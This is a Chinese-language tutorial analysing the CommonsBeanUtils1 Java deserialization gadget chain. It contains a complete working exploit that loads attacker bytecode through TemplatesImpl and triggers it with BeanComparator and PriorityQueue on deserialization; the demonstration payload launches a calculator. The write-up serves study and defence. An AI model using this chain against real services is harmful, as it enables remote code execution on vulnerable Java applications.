环境
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.2</version>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-logging/commons-logging -->
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
</dependency>
|
CommonsBeanUtils 简介
Apache Commons 工具集下除了 collections
以外还有 BeanUtils
,它主要用于操控 JavaBean
。
先说说 JavaBean 的这个概念
这里指的就是实体类的 get,set 方法,其实在 IDEA 当中用 Lombok 插件就可以替换 JavaBean。
关于 JavaBean 的说明可以参考廖雪峰老师的文章
CommonsBeanUtils 这个包也可以操作 JavaBean,举例如下:
比如 Baby 是一个最简单的 JavaBean 类
1
2
3
4
5
6
7
8
9
10
11
|
public class Baby {
private String name = "Drunkbaby";
public String getName(){
return name;
}
public void setName (String name) {
this.name = name;
}
}
|
这里定义两个简单的 getter setter 方法,如果用 @Lombok
的注解也是同样的,使用 @Lombok
的注解不需要写 getter setter。
Commons-BeanUtils 中提供了一个静态方法 PropertyUtils.getProperty
,让使用者可以直接调用任意 JavaBean 的 getter 方法,示例如下
1
2
3
4
5
6
7
|
import org.apache.commons.beanutils.PropertyUtils;
public class CBMethods {
public static void main(String[] args) throws Exception{
System.out.println(PropertyUtils.getProperty(new Baby(), "name"));
}
}
|

此时,Commons-BeanUtils 会自动找到 name 属性的getter 方法,也就是 getName ,然后调用并获得返回值。这个形式就很自然得想到能任意函数调用。
CommonsBeanUtils1 链子分析
链子尾部
我们链子的尾部是通过动态加载 TemplatesImpl 字节码的方式进行攻击的,原因很简单:
在之前讲动态加载 TemplatesImpl 字节码的时候,我们的链子是这样的
1
2
3
4
5
6
|
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TemplatesImpl.defineClass()
ClassLoader.defineClass()
newInstance
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
TemplatesImpl templates = new TemplatesImpl();
Class templatesclass = templates.getClass();
Field name = templatesclass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"Y9sR");
Field codes = templatesclass.getDeclaredField("_bytecodes");
codes.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("E:\\javawork\\cc3\\src\\main\\java\\cc3\\calc.class"));
//{}包含一个数组的数组
byte[][] code = {evil};
codes.set(templates,code);
Field field = templatesclass.getDeclaredField("_tfactory");
field.setAccessible(true);
field.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();
|
getOutputProperties
调用了newTransformer

而getOutputProperties
很像javabean的OutputProperties
的get
方法
可以通过PropertyUtils.getProperty(TemplatesImpl,"outputProperties")
从而触发TemplatesImpl.getOutputProperties
进入链子尾部
链子中部
找PropertyUtils.getProperty
找到BeanComparator
的compare

链子首部
继续找compare
的时候找到PriorityQueue
,和cc4链子的前部分链一样


继续找

这里在cc4链子的时候就注意到size设为2时刚好进入for循环
1
2
|
priorityQueue.add(1);
priorityQueue.add(1);
|
找到入口点

编写exp

通过反射修改property
的值为outputProperties
1
2
3
4
|
Class cc = BeanComparator.class;
Field field2 = cc.getDeclaredField("property");
field2.setAccessible(true);
field2.set(beanComparator,"outputProperties");
|
因为add也会调用compare,导致序列化前也会弹计算器,所以这里add传入无关参数
1
2
3
|
PriorityQueue priorityQueue = new PriorityQueue(beanComparator);
priorityQueue.add(1);
priorityQueue.add(1);
|
再通过反射修改queue的值

1
2
3
4
|
Class ccc = PriorityQueue.class;
Field field3 = ccc.getDeclaredField("queue");
field3.setAccessible(true);
field3.set(priorityQueue,new Object[]{templates,templates});
|
为什么不能像cc4那样
1
2
3
4
5
6
7
8
9
10
|
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Class c = TransformingComparator.class;
Field field1 = c.getDeclaredField("transformer");
field1.setAccessible(true);
field1.set(transformingComparator,chainedTransformer);
serialize(priorityQueue);
|
在创建PriorityQueue对象的时候就给个假的,然后在后面反射修改?
1
2
|
priorityQueue.add(templates);
priorityQueue.add(templates);
|
add传入的时候刚好到参数里
因为这里add传入类会报错直接死,所以只能通过后面反射修改queue
完整exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
TemplatesImpl templates = new TemplatesImpl();
Class templatesclass = templates.getClass();
Field name = templatesclass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"Y9sR");
Field codes = templatesclass.getDeclaredField("_bytecodes");
codes.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("E:\\javawork\\cc3\\src\\main\\java\\cc3\\calc.class"));
//{}包含一个数组的数组
byte[][] code = {evil};
codes.set(templates,code);
Field field = templatesclass.getDeclaredField("_tfactory");
field.setAccessible(true);
field.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();
final BeanComparator beanComparator = new BeanComparator();
// beanComparator.compare(templates,templates);
PriorityQueue priorityQueue = new PriorityQueue(beanComparator);
priorityQueue.add(1);
priorityQueue.add(1);
Class c = PriorityQueue.class;
Field field1 = c.getDeclaredField("comparator");
field1.setAccessible(true);
field1.set(priorityQueue,beanComparator);
Class cc = BeanComparator.class;
Field field2 = cc.getDeclaredField("property");
field2.setAccessible(true);
field2.set(beanComparator,"outputProperties");
Class ccc = PriorityQueue.class;
Field field3 = ccc.getDeclaredField("queue");
field3.setAccessible(true);
field3.set(priorityQueue,new Object[]{templates,templates});
serialize(priorityQueue);
unserialize("ser.bin");
|
流程图
1
2
3
4
5
6
7
8
9
10
11
12
13
|
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
BeanComparator.compare()
PropertyUtils.getProperty()
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TemplatesImpl.defineClass()
ClassLoader.defineClass()
newInstance
|
到这里链子都过完了